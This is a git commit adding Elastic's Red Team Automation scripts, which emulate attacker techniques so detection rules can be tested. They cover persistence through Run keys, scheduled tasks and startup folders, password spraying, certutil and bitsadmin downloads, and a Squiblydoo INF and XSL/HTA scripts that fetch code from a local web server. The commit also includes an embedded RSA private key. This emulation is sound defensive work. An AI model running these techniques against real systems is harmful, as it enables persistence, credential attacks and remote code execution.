Populate RTA directory.

Co-Authored-By: Brent Murphy <56412096+bm11100@users.noreply.github.com>
Co-Authored-By: Daniel Stepanic <57736958+dstepanic17@users.noreply.github.com>
Co-Authored-By: David French <56409778+threat-punter@users.noreply.github.com>
Co-Authored-By: Joe Desimone <56411054+joe-desimone@users.noreply.github.com>
Co-Authored-By: Justin Ibarra <brokensound77@users.noreply.github.com>
This commit is contained in:
Ross Wolf
2020-06-29 23:07:16 -06:00
parent 83e28da7f3
commit a0d3b4bd23
104 changed files with 4145 additions and 0 deletions
+43
View File
@@ -0,0 +1,43 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License;
# you may not use this file except in compliance with the Elastic License.
import glob
import importlib
import os
from . import common
CURRENT_DIR = os.path.dirname(os.path.abspath(__file__))
def get_ttp_list(os_types=None):
scripts = []
if os_types and not isinstance(os_types, (list, tuple)):
os_types = [os_types]
for script in sorted(glob.glob(os.path.join(CURRENT_DIR, "*.py"))):
base_name, _ = os.path.splitext(os.path.basename(script))
if base_name not in ("common", "main") and not base_name.startswith("_"):
if os_types:
# Import it and skip it if it's not supported
importlib.import_module(__name__ + "." + base_name)
if not any(base_name in common.OS_MAPPING[os_type] for os_type in os_types):
continue
scripts.append(script)
return scripts
def get_ttp_names(os_types=None):
names = []
for script in get_ttp_list(os_types):
basename, ext = os.path.splitext(os.path.basename(script))
names.append(basename)
return names
__all__ = (
"common"
)
+21
View File
@@ -0,0 +1,21 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License;
# you may not use this file except in compliance with the Elastic License.
import argparse
import importlib
import os
from . import get_ttp_names
parser = argparse.ArgumentParser("rta")
parser.add_argument("ttp_name")
parsed_args, remaining = parser.parse_known_args()
ttp_name, _ = os.path.splitext(os.path.basename(parsed_args.ttp_name))
if ttp_name not in get_ttp_names():
raise ValueError("Unknown RTA {}".format(ttp_name))
module = importlib.import_module("rta." + ttp_name)
exit(module.main(*remaining))
+46
View File
@@ -0,0 +1,46 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License;
# you may not use this file except in compliance with the Elastic License.
# Name: Adobe Hijack Persistence
# RTA: adobe_hijack.py
# ATT&CK: T1044
# Description: Replaces PE file that will run on Adobe Reader start.
import os
from . import common
@common.requires_os(common.WINDOWS)
def main():
rdr_cef_dir = "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF"
rdrcef_exe = os.path.join(rdr_cef_dir, "RdrCEF.exe")
cmd_path = "C:\\Windows\\System32\\cmd.exe"
backup = os.path.abspath("xxxxxx")
backedup = False
# backup original if it exists
if os.path.isfile(rdrcef_exe):
common.log("{} already exists, backing up file.".format(rdrcef_exe))
common.copy_file(rdrcef_exe, backup)
backedup = True
else:
common.log("{} doesn't exist. Creating path.".format(rdrcef_exe))
os.makedirs(rdr_cef_dir)
# overwrite original
common.copy_file(cmd_path, rdrcef_exe)
# cleanup
if backedup:
common.log("Putting back backup copy.")
common.copy_file(backup, rdrcef_exe)
os.remove(backup)
else:
common.remove_file(rdrcef_exe)
os.removedirs(rdr_cef_dir)
if __name__ == "__main__":
exit(main())
+30
View File
@@ -0,0 +1,30 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License;
# you may not use this file except in compliance with the Elastic License.
# Name: Application Compatibility Shims
# RTA: appcompat_shim.py
# ATT&CK: T1138
# Description: Use sdbinst.exe to install a binary patch/application shim.
import time
from . import common
SHIM_FILE = common.get_path("bin", "CVE-2013-3893.sdb")
@common.requires_os(common.WINDOWS)
@common.dependencies(SHIM_FILE)
def main():
common.log("Application Compatibility Shims")
common.execute(["sdbinst.exe", "-q", "-p", SHIM_FILE])
time.sleep(2)
common.log("Removing installed shim", log_type="-")
common.execute(["sdbinst.exe", "-u", SHIM_FILE])
if __name__ == "__main__":
exit(main())
+57
View File
@@ -0,0 +1,57 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License;
# you may not use this file except in compliance with the Elastic License.
# Name: AT Command Lateral Movement
# RTA: at_command.py
# ATT&CK: T1053
# Description: Enumerates at tasks on target host, and schedules an at job for one hour in the future. Then checks the
# status of that task, and deletes the task.
import datetime
import re
import sys
from . import common
@common.requires_os(common.WINDOWS)
def main(target_host=None):
target_host = target_host or common.get_ip()
host_str = '\\\\%s' % target_host
# Current time at \\localhost is 11/16/2017 11:25:50 AM
code, output = common.execute(['net', 'time', host_str])
match = re.search(r'Current time at .*? is (\d+)/(\d+)/(\d+) (\d+):(\d+):(\d+) (AM|PM)', output)
groups = match.groups()
m, d, y, hh, mm, ss, period = groups
now = datetime.datetime(month=int(m), day=int(d), year=int(y), hour=int(hh), minute=int(mm), second=int(ss))
if period == 'PM' and hh != '12':
now += datetime.timedelta(hours=12)
# Add one hour
task_time = now + datetime.timedelta(hours=1)
# Round down minutes
time_string = '%d:%d' % (task_time.hour, task_time.minute)
# Enumerate all remote tasks
common.execute(['at.exe', host_str])
# Create a job 1 hour into the future
code, output = common.execute(['at', host_str, time_string, 'cmd /c echo hello world'])
if code == 1 and 'deprecated' in output:
common.log("Unable to continue RTA. Not supported in this version of Windows")
return common.UNSUPPORTED_RTA
if code == 0:
job_id = re.search('ID = (\d+)', output).group(1)
# Check status and delete
common.execute(['at.exe', host_str, job_id])
common.execute(['at.exe', host_str, job_id, '/delete'])
if __name__ == "__main__":
exit(main(*sys.argv[1:]))
+65
View File
@@ -0,0 +1,65 @@
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!-- This inline task executes c# code. -->
<!-- C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe SimpleTasks.csproj -->
<!-- Save This File And Execute The Above Command -->
<!-- Author: Casey Smith, Twitter: @subTee -->
<!-- License: BSD 3-Clause -->
<Target Name="Hello">
<FragmentExample />
<ClassExample />
</Target>
<UsingTask
TaskName="FragmentExample"
TaskFactory="CodeTaskFactory"
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
<ParameterGroup/>
<Task>
<Using Namespace="System" />
<Code Type="Fragment" Language="cs">
<![CDATA[
Console.WriteLine("Hello From a Code Fragment");
]]>
</Code>
</Task>
</UsingTask>
<UsingTask
TaskName="ClassExample"
TaskFactory="CodeTaskFactory"
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
<Task>
<!-- <Reference Include="System.IO" /> Example Include -->
<Reference Include="System.Xml" />
<Code Type="Class" Language="cs">
<![CDATA[
using System;
using Microsoft.Build.Framework;
using Microsoft.Build.Utilities;
using System.Xml;
public class ClassExample : Task, ITask
{
public static void XMLGet()
{
try
{
Console.WriteLine("XML Get Request...");
var xmlDoc = new XmlDocument();
xmlDoc.Load("http://127.0.0.1:8000");
}
catch
{
}
}
public override bool Execute()
{
Console.WriteLine("Hello From a Class.");
XMLGet();
return true;
}
}
]]>
</Code>
</Task>
</UsingTask>
</Project>
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
+4
View File
@@ -0,0 +1,4 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License;
# you may not use this file except in compliance with the Elastic License.
+11
View File
@@ -0,0 +1,11 @@
<HTML>
<HEAD>
<script language="javascript" type="text/javascript">
var xhr=new ActiveXObject("Msxml2.XMLHttp.6.0");
xhr.open("GET","http://127.0.0.1:8000",false);
xhr.send();
</script>
</HEAD>
</HTML>
+21
View File
@@ -0,0 +1,21 @@
<?xml version='1.0'?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:user="http://mycompany.com/mynamespace">
<xsl:output encoding="UTF-8" indent="yes" method="xml" />
<msxsl:script language="JScript" implements-prefix="user">
function xml(nodelist)
{
var xhr=new ActiveXObject("Msxml2.XMLHttp.6.0");
xhr.open("GET","http://127.0.0.1:8000",false);
xhr.send();
return nodelist.nextNode().xml;
}
</msxsl:script>
<xsl:template match="/">
<xsl:value-of select="user:xml(.)"/>
</xsl:template>
</xsl:stylesheet>
+14
View File
@@ -0,0 +1,14 @@
<?xml version="1.0"?>
<?xml-stylesheet type="text/xsl" href="script.xsl" ?>
<customers>
<customer>
<name>John Smith</name>
<address>123 Elm St.</address>
<phone>(123) 456-7890</phone>
</customer>
<customer>
<name>Mary Jones</name>
<address>456 Oak Ave.</address>
<phone>(156) 789-0123</phone>
</customer>
</customers>
BIN
View File
Binary file not shown.
Binary file not shown.
BIN
View File
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
BIN
View File
Binary file not shown.
Binary file not shown.
+12
View File
@@ -0,0 +1,12 @@
<?XML version="1.0"?>
<scriptlet>
<registration
progid="TESTING"
classid="{A1112221-0000-0000-3000-000DA00DABFC}" >
<script language="JScript">
<![CDATA[
var foo = new ActiveXObject("WScript.Shell").Run("notepad.exe");
]]>
</script>
</registration>
</scriptlet>
+123
View File
@@ -0,0 +1,123 @@
dim shellobj
dim fs
dim logFile
set fs = CreateObject("Scripting.FileSystemObject")
set shellObj = WScript.CreateObject("wscript.shell")
name = "rta-vbs-persistence"
logPath = shellObj.ExpandEnvironmentStrings("%USERPROFILE%") & "\" & name & ".log"
set logFile = fs.OpenTextFile(logPath, 8, True)
startupDir = shellObj.SpecialFolders("Startup")
shortcutLink = startupDir & "\" & name & "-startup.lnk"
startupTarget = startupDir & "\" & name & "-startup.vbs"
shortcutTarget = shellObj.ExpandEnvironmentStrings("%USERPROFILE%") & "\" & name & "-startup-shortcut.vbs"
taskTarget = shellObj.ExpandEnvironmentStrings("%USERPROFILE%") & "\" & name & "-task.vbs"
runTarget = shellObj.ExpandEnvironmentStrings("%USERPROFILE%") & "\" & name & "-run-key.vbs"
runKey = "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & name
function log(logType, message)
line = "[" & logType & "] " & wscript.ScriptName & " - " & message
' WScript.Echo line
logFile.WriteLine line
end function
function logLine
logFile.WriteLine ""
end function
'Add self logging functions
function copyScript(target)
log "+", "Copying " & wscript.ScriptFullName & " to " & target
fs.CopyFile wscript.ScriptFullName, target, true
end function
function deleteFile(path)
log "-", "Deleting " & path
fs.DeleteFile(path)
end function
function run(command)
log ">", command
errorCode = shellObj.Run(command, 0, True)
if errorCode <> 0 then
log ">", "exit code = " & errorCode
end if
end function
function deleteScript()
deleteFile wscript.ScriptFullName
end function
log "=", "Started"
'Establish persistence or remove persistence after the first execution
if wscript.ScriptFullName = shortcutTarget then
'Check if this is running and came from a shortcut
log "+", "Running from a shortcut target"
deleteScript
deleteFile shortcutLink
elseif wscript.ScriptFullName = startupTarget then
'Delete the file
log "+", "Running from the startup folder directly"
deleteScript
elseif wscript.ScriptFullName = taskTarget then
'Remove the task and the file
log "+", "Running as a scheduled task"
deleteScript
run "schtasks.exe /delete /f /tn " & name
elseif wscript.ScriptFullName = runTarget then
'Remove the registry key and the file
log "+", "Running as a run item"
deleteScript
log "-", "Removing registry key " & runKey
shellObj.RegDelete runKey
else
'Copy the file to a few locations
dim shortcut
log "+", "Establish Persistence" & crlf
'Copy to the StartUp directory
log "+", "Startup File"
copyScript startupTarget
logLine
'Create a shortcut in the StartUp directory
log "+", "Startup Shortcut"
copyScript shortcutTarget
set shortcut = shellObj.CreateShortcut(shortcutLink)
shortcut.TargetPath = "wscript.exe"
shortcut.Arguments = "//B " & chrw(34) & shortcutTarget & chrw(34)
shortcut.save()
logLine
'Create a scheduled task
log "-", "Scheduled Task" & crlf
copyScript taskTarget
run "schtasks.exe /create /f /sc onlogon /tn " & name & " /tr " & chrw(34) & "wscript.exe //B " & ("\" & chrw(34)) & runTarget & ("\" & chrw(34)) & chrw(34)
logLine
'Create the run key
log "+", "Run Key via Registry"
copyScript runTarget
shellObj.RegWrite runKey, "wscript.exe //B " & chrw(34) & runTarget & chrw(34), "REG_SZ"
logLine
end if
log "-", "Exiting"
logFile.WriteLine ""
logFile.WriteLine ""
logFile.Close()
+27
View File
@@ -0,0 +1,27 @@
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAuy7HkecTrKhGuZW7/KugrrUNmNGPjvZGXTpGJIb3ycU5KSNk
VutDTpjL6QpqJc4O/2J77lEjGsx+H+CUcrXSK5cSifD5Qd73ZRM6wnfulpUBKJoi
LasX7umpRtx/xwOQGvDBBYvB6QVhvmlisqkhRIZLphi4qxfBJ1+RzfsG8JNvDmvl
tkEogGMaj5rVplbhKycSkuqflEF+tuhnSCiLgAAyFcFzhDp1sJP7mHf0RX1qxGtq
1e+OduZxA8omDB3urvZ+3smCnEgYk920Ikbzs5zEjwHMgh6mtqLLO1xLOefTFWUM
+i6z05mowdi3l3e26LOQLhHftBxh88W41b60mwIDAQABAoIBACyJ4v66hxnsKHf8
QvDKPb+UYRnds1UHEJMaTJpgaxFdlk5Nl5B/BlLrVIms6rj4IOVvn6GDOOEli1U2
cNwim1G37rdX2VdtIFyyiKbBNsopxk7M7hkDvvwgKSEtUlIebOmcI7GYIZm6qBlQ
piVwzPOrKNDqzPYY/uLJgL4MXwhbBDzgi4qsNOFol05r0YISiHxI3CRmk0zFQnwr
xIIg4WR6NbWKVp/CLfGrJFwE0wG9J1D3xf3hclHKEmOCuEI0PuGQqH7gwzfPxCT5
kzfi513iqTRvxwn0euUY9qqHZNuMoW3p7oGvObgZhRmN1qlE5kmN1moZhlcQuIkr
enhCVCECgYEA378gwqZdsWLinMwScSDNz3WAc8rThwdB3qz3cBRFWFV0/qlMLxpC
ne+kSBekym3vNK4ZWJf6XHpVodHGB3mSVOCGAgziEy5nlVtoO64qQoa6gTDAjdEv
eGh27lEresi3MiP9JHE7TN3nwcjlpuRfnutqgnlVJeVmwasDB/E2vGkCgYEA1ipX
5vUZz7z7LU5VNPskn5naGHkuLrlQaCqKWdXMOXsOoP3w4Z4PptWzroa/i5O4OGqV
2x7wkAAa73oqRnt8+OTwCxfzBhdQDCfIw9joZrJiCCbqNny8zQcXBI2AcdWaI2m3
jfzKXtxtCAz2WFLE1g2RjLSjw/F2XPpjN9daGGMCgYBa7ueWlFyhuimVRg78sTNT
7FJPPRBo4Vcw86UAhQyF0P1iflW7EvYeEAX5UrqjlrhP9a3RZrrWmNVylbng0dTZ
8AImlSvQVdy9Q9AB6U+9h9oGpVSsjma3jeVAB/ceyLJDi4LXK7nJDKqjBE3pXQlL
oivAaSVk6G2xqhnqQWtYeQKBgQDRWuk888J8qc+cNWPj+9GMVzi1DdjQggURHuzJ
7s7KLfpZ9IPB+eJxA5y3ci/SwN+n/sFpR3CARCoQigrDhbngEOR647mE7cspZsbC
dMqSgbSFJY11IDDr+A9POwghv14DWje+DCzD2JSY9xrlsluKqA7tTjR8uhEryPSu
xMzk4wKBgCufVxHkqM1wWF8Mt80YIluTx+NJSx8UF8TCYeeJimO0MAPMp7u9mSSh
upElHcfKf2fnACO8IHuDMx6luAo+BAdSzOtkERK9rwJ5y0Ktef58MhuMY8jmKKrD
NcKPu3VXnLZ6Gc3qF2Kiy2Qqz0sNqtDsr9L1c9To55GeJ4uZt0BU
-----END RSA PRIVATE KEY-----
+8
View File
@@ -0,0 +1,8 @@
[Version]
Signature=$CHICAGO$
[DefaultInstall]
UnregisterDlls = Squiblydoo
[Squiblydoo]
11,,scrobj.dll,2,60,http://127.0.0.1:8000/bin/notepad.sct
+29
View File
@@ -0,0 +1,29 @@
BSD 3-Clause License
Copyright (c) 2017, Matt Graeber
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright notice, this
list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
* Neither the name of the copyright holder nor the names of its
contributors may be used to endorse or promote products derived from
this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+36
View File
@@ -0,0 +1,36 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License;
# you may not use this file except in compliance with the Elastic License.
# Name: Suspicious BitsAdmin Download File
# RTA: bitsadmin_download.py
# ATT&CK: T1197
# Description: Runs BitsAdmin to download file via command line.
import os
import subprocess
from . import common
@common.requires_os(common.WINDOWS)
def main():
common.log("Running Windows BitsAdmin to Download")
server, ip, port = common.serve_web()
url = "http://" + ip + ":" + str(port) + "/bin/myapp.exe"
dest_path = os.path.abspath("myapp-test.exe")
fake_word = os.path.abspath("winword.exe")
common.log("Emulating parent process: {parent}".format(parent=fake_word))
common.copy_file("C:\\Windows\\System32\\cmd.exe", fake_word)
command = subprocess.list2cmdline(['bitsadmin.exe', '/Transfer', '/Download', url, dest_path])
common.execute([fake_word, "/c", command], timeout=15, kill=True)
common.execute(['taskkill', '/f', '/im', 'bitsadmin.exe'])
common.remove_files(dest_path, fake_word)
if __name__ == "__main__":
exit(main())
+54
View File
@@ -0,0 +1,54 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License;
# you may not use this file except in compliance with the Elastic License.
# Name: Brute Force Login Attempts
# RTA: brute_force_login.py
# ATT&CK: T1110
# Description: Simulates brute force or password spraying tactics.
# Remote audit failures must be enabled to trigger: `auditpol /set /subcategory:"Logon" /failure:enable`
import random
import string
import sys
import time
from . import common
@common.requires_os(common.WINDOWS)
def main(remote_host=None):
if not remote_host:
common.log('A remote host is required to detonate this RTA', '!')
return common.MISSING_REMOTE_HOST
common.enable_logon_auditing(remote_host)
common.log('Brute forcing login with invalid password against {}'.format(remote_host))
ps_command = '''
$PW = ConvertTo-SecureString "Lose-y0urse1f" -AsPlainText -Force
$CREDS = New-Object System.Management.Automation.PsCredential {username}, $PW
Invoke-WmiMethod -ComputerName {host} -Class Win32_process -Name create -ArgumentList ipconfig -Credential $CREDS
'''
command = ['powershell', '-c', ps_command.format(username='zeus', host=remote_host)]
# fail 4 times - the first 3 concurrently and wait for the final to complete
for i in range(4):
common.execute(command, wait=i == 3)
time.sleep(1)
common.log('Password spraying against {}'.format(remote_host))
# fail 5 times - the first 4 concurrently and wait for the final to complete
for i in range(5):
random_user = ''.join(random.sample(string.ascii_letters, 10))
command = ['powershell', '-c', ps_command.format(username=random_user, host=remote_host)]
common.execute(command, wait=i == 4)
# allow time for audit event to process
time.sleep(2)
if __name__ == "__main__":
exit(main(*sys.argv[1:]))
+31
View File
@@ -0,0 +1,31 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License;
# you may not use this file except in compliance with the Elastic License.
# Name: Certutil Encode / Decode
# RTA: certutil_file_obfuscation.py
# ATT&CK: T1140
# Description: Uses certutil to create an encoded copy of cmd.exe. Then uses certutil to decode that copy.
import os
from . import common
@common.requires_os(common.WINDOWS)
def main():
common.log("Encoding target")
encoded_file = os.path.abspath('encoded.txt')
decoded_file = os.path.abspath('decoded.exe')
common.execute(["c:\\Windows\\System32\\certutil.exe", "-encode", "c:\\windows\\system32\\cmd.exe", encoded_file])
common.log("Decoding target")
common.execute(["c:\\Windows\\System32\\certutil.exe", "-decode", encoded_file, decoded_file])
common.log("Cleaning up")
common.remove_file(encoded_file)
common.remove_file(decoded_file)
if __name__ == "__main__":
exit(main())
+33
View File
@@ -0,0 +1,33 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License;
# you may not use this file except in compliance with the Elastic License.
# Name: Downloading Files With Certutil
# RTA: certutil_webrequest.py
# ATT&CK: T1105
# Description: Uses certutil.exe to download a file.
from . import common
MY_DLL = common.get_path("bin", "mydll.dll")
@common.requires_os(common.WINDOWS)
@common.dependencies(MY_DLL)
def main():
# http server will terminate on main thread exit
# if daemon is True
server, ip, port = common.serve_web()
uri = "bin/mydll.dll"
target_file = "mydll.dll"
common.clear_web_cache()
url = "http://{ip}:{port}/{uri}".format(ip=ip, port=port, uri=uri)
common.execute(["certutil.exe", "-urlcache", "-split", "-f", url, target_file])
server.shutdown()
common.remove_file(target_file)
if __name__ == "__main__":
exit(main())
+633
View File
@@ -0,0 +1,633 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License;
# you may not use this file except in compliance with the Elastic License.
from __future__ import unicode_literals, print_function
import binascii
import contextlib
import functools
import getpass
import inspect
import os
import re
import shutil
import socket
import subprocess
import sys
import tempfile
import threading
import time
try:
from SimpleHTTPServer import SimpleHTTPRequestHandler
except ImportError:
from http.server import SimpleHTTPRequestHandler
try:
from SocketServer import TCPServer
except ImportError:
from http.server import HTTPServer as TCPServer
to_unicode = type(u"")
long_t = type(1 << 63)
strings = str, type(u"")
HOSTNAME = socket.gethostname()
LOCAL_IP = None
def get_ip():
global LOCAL_IP, HOSTNAME
if LOCAL_IP is None:
try:
LOCAL_IP = socket.gethostbyname(HOSTNAME)
except socket.gaierror:
LOCAL_IP = "127.0.0.1"
return LOCAL_IP
def get_winreg():
try:
import _winreg as winreg
except ImportError:
import winreg
return winreg
# Multi-OS Support
WINDOWS = "windows"
MACOS = "macos"
LINUX = "linux"
if sys.platform == "darwin":
CURRENT_OS = MACOS
elif sys.platform.startswith("win"):
CURRENT_OS = WINDOWS
else:
CURRENT_OS = LINUX
if CURRENT_OS == WINDOWS:
CMD_PATH = os.environ.get("COMSPEC")
POWERSHELL_PATH = 'C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\powershell.exe'
else:
CMD_PATH = "/bin/sh"
POWERSHELL_PATH = None
BASE_DIR = os.path.dirname(os.path.abspath(__file__))
ALL_IP = "0.0.0.0"
IP_REGEX = r"\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}"
CALLBACK_REGEX = r"https?://" + IP_REGEX + r":\d+"
USER_NAME = getpass.getuser().lower()
SUCCESS = 0
PYTHON_ERROR = 1 # Python does this internally, so we don't want to overwrite it
GENERAL_ERROR = 2
MISSING_DEPENDENCIES = 3
MISSING_PSEXEC = 4
ACCESS_DENIED = 5
UNSUPPORTED_RTA = 6
MISSING_REMOTE_HOST = 7
# Amount of seconds a command should take at a minimum.
# This can allow for arbitrary slow down of scripts
MIN_EXECUTION_TIME = 0
MAX_HOSTS = 64
# Useful constants
HKLM = "hklm"
HKCU = "hkcu"
HKU = "hku"
HKCR = "hkcr"
SZ = "sz"
EXPAND_SZ = "expand_sz"
MULTI_SZ = "multi_sz"
DWORD = "dword"
OS_MAPPING = {WINDOWS: [], MACOS: [], LINUX: []}
def requires_os(*os_list):
if len(os_list) == 1 and isinstance(os_list[0], (list, tuple)):
os_list = os_list[0]
def decorator(f):
# Register this function with the support os mapping
for os_type in os_list:
OS_MAPPING[os_type].append(f.__module__.split(".")[-1])
@functools.wraps(f)
def decorated(*args, **kwargs):
if CURRENT_OS not in os_list:
filename = os.path.relpath(inspect.getsourcefile(f))
func_name = f.__name__
log("Unsupported OS for {filename}:{func}(). Expected {os}".format(
filename=filename, func=func_name, os="/".join(os_list)), "!")
return UNSUPPORTED_RTA
return f(*args, **kwargs)
return decorated
return decorator
def check_dependencies(*paths):
missing = []
for path in paths:
if not os.path.exists(path):
log("Missing dependency %s" % path, "!")
missing.append(path)
return len(missing) == 0
def dependencies(*paths):
missing = []
for path in paths:
if not os.path.exists(path):
missing.append(path)
def decorator(f):
@functools.wraps(f)
def decorated(*args, **kwargs):
if len(missing):
log("Missing dependencies for %s:%s()" % (f.func_code.co_filename, f.func_code.co_name), "!")
for dep in missing:
print(" - %s" % os.path.relpath(dep, BASE_DIR))
return MISSING_DEPENDENCIES
return f(*args, **kwargs)
return decorated
return decorator
def pause():
time.sleep(0.5)
def get_path(*path):
return os.path.join(BASE_DIR, *path)
@contextlib.contextmanager
def temporary_file(contents, file_name=None):
handle, close = temporary_file_helper(contents, file_name)
try:
yield handle
finally:
close()
def temporary_file_helper(contents, file_name=None):
if not (file_name and os.path.isabs(file_name)):
file_name = os.path.join(tempfile.gettempdir(), file_name or 'temp{:d}'.format(hash(contents)))
with open(file_name, 'wb' if isinstance(contents, bytes) else 'w') as f:
f.write(contents)
f = open(file_name, 'rb' if isinstance(contents, bytes) else 'r')
def close():
f.close()
os.remove(file_name)
return f, close
def execute(command, hide_log=False, mute=False, timeout=30, wait=True, kill=False, drop=False, stdin=None,
shell=False, **kwargs):
"""Execute a process and get the output."""
command_string = command
close = None
if isinstance(command, (list, tuple)):
command = [to_unicode(arg) for arg in command]
command_string = subprocess.list2cmdline(command)
if shell:
command = command_string
else:
sys.stderr.write("Deprecation warning! Switch arguments to a list for common.execute()\n\n")
if not hide_log:
print("%s @ %s > %s" % (USER_NAME, HOSTNAME, command_string))
if isinstance(stdin, (bytes, str, type(u""))):
stdin, close = temporary_file_helper(stdin)
stdout = subprocess.PIPE
stderr = subprocess.STDOUT
if drop or kill:
devnull = open(os.devnull, "w")
stdout = devnull
stderr = devnull
start = time.time()
p = subprocess.Popen(command, stdin=stdin or subprocess.PIPE, stdout=stdout, stderr=stderr, shell=shell, **kwargs)
if kill:
delta = 0.5
# Try waiting for the process to die
for _ in range(int(timeout / delta) + 1):
time.sleep(delta)
if p.poll() is not None:
return
log("Killing process", str(p.pid))
try:
p.kill()
time.sleep(0.5)
except OSError:
pass
elif wait:
output = ''
if not stdin:
try:
p.stdin.write(os.linesep.encode('ascii'))
except IOError:
# this pipe randomly breaks when executing certain non-zero exit commands on linux
pass
while p.poll() is None:
line = p.stdout.readline().decode('ascii', 'ignore')
if line:
output += line
if not (hide_log or mute):
print(line.rstrip())
output += p.stdout.read().decode('ascii', 'ignore')
output = output.strip()
# Add artificial sleep to slow down command lines
end = time.time()
run_time = end - start
if run_time < MIN_EXECUTION_TIME:
time.sleep(MIN_EXECUTION_TIME - run_time)
if not (hide_log or mute):
if p.returncode != 0:
print("exit code = %d" % p.returncode)
print("")
if close:
close()
return p.returncode, output
else:
if close:
close()
return p
def log(message, log_type='+'):
print('[%s] %s' % (log_type, message))
def copy_file(source, target):
log('Copying %s -> %s' % (source, target))
shutil.copy(source, target)
def link_file(source, target):
log('Linking %s -> %s' % (source, target))
execute(["ln", "-s", source, target])
def remove_file(path):
if os.path.exists(path):
log('Removing %s' % path, log_type='-')
# Try three times to remove the file
for _ in range(3):
try:
os.remove(path)
except OSError:
time.sleep(0.25)
else:
return
def remove_directory(path):
if os.path.exists(path):
if os.path.isdir(path):
log('Removing directory {:s}'.format(path), log_type='-')
shutil.rmtree(path)
else:
remove_file(path)
def is_64bit():
return os.environ.get('PROCESSOR_ARCHITECTURE', "") in ('x64', 'AMD64')
def remove_files(*paths):
for path in paths:
remove_file(path)
def clear_web_cache():
log("Clearing temporary files", log_type="-")
execute(["RunDll32.exe", "InetCpl.cpl,", "ClearMyTracksByProcess", "8"], hide_log=True)
time.sleep(1)
def serve_web(ip=None, port=None, directory=BASE_DIR):
handler = SimpleHTTPRequestHandler
ip = ip or get_ip()
if port is not None:
server = TCPServer((ip, port), handler)
else:
# Otherwise, try to find a port
for port in range(8000, 9000):
try:
server = TCPServer((ip, port), handler)
break
except socket.error:
pass
def server_thread():
log("Starting web server on http://{ip}:{port:d} for directory {dir}".format(ip=ip, port=port, dir=directory))
os.chdir(directory)
server.serve_forever()
# Start this thread in the background
thread = threading.Thread(target=server_thread)
thread.setDaemon(True)
thread.start()
time.sleep(0.5)
return server, ip, port
def patch_file(source_file, old_bytes, new_bytes, target_file=None):
target_file = target_file or target_file
log("Patching bytes %s [%s] --> %s [%s]" % (source_file, binascii.b2a_hex(old_bytes),
target_file, binascii.b2a_hex(new_bytes)))
with open(source_file, "rb") as f:
contents = f.read()
patched = contents.replace(old_bytes, new_bytes)
with open(target_file, "wb") as f:
f.write(patched)
def patch_regex(source_file, regex, new_bytes, target_file=None):
regex = regex.encode('ascii')
new_bytes = new_bytes.encode('ascii')
target_file = target_file or source_file
log("Patching by regex %s --> %s" % (source_file, target_file))
with open(source_file, "rb") as f:
contents = f.read()
matches = re.findall(regex, contents)
log("Changing %s -> %s" % (', '.join('{}'.format(m) for m in matches), new_bytes))
contents = re.sub(regex, new_bytes, contents)
with open(target_file, "wb") as f:
f.write(contents)
def wchar(s):
return s.encode('utf-16le')
def find_remote_host():
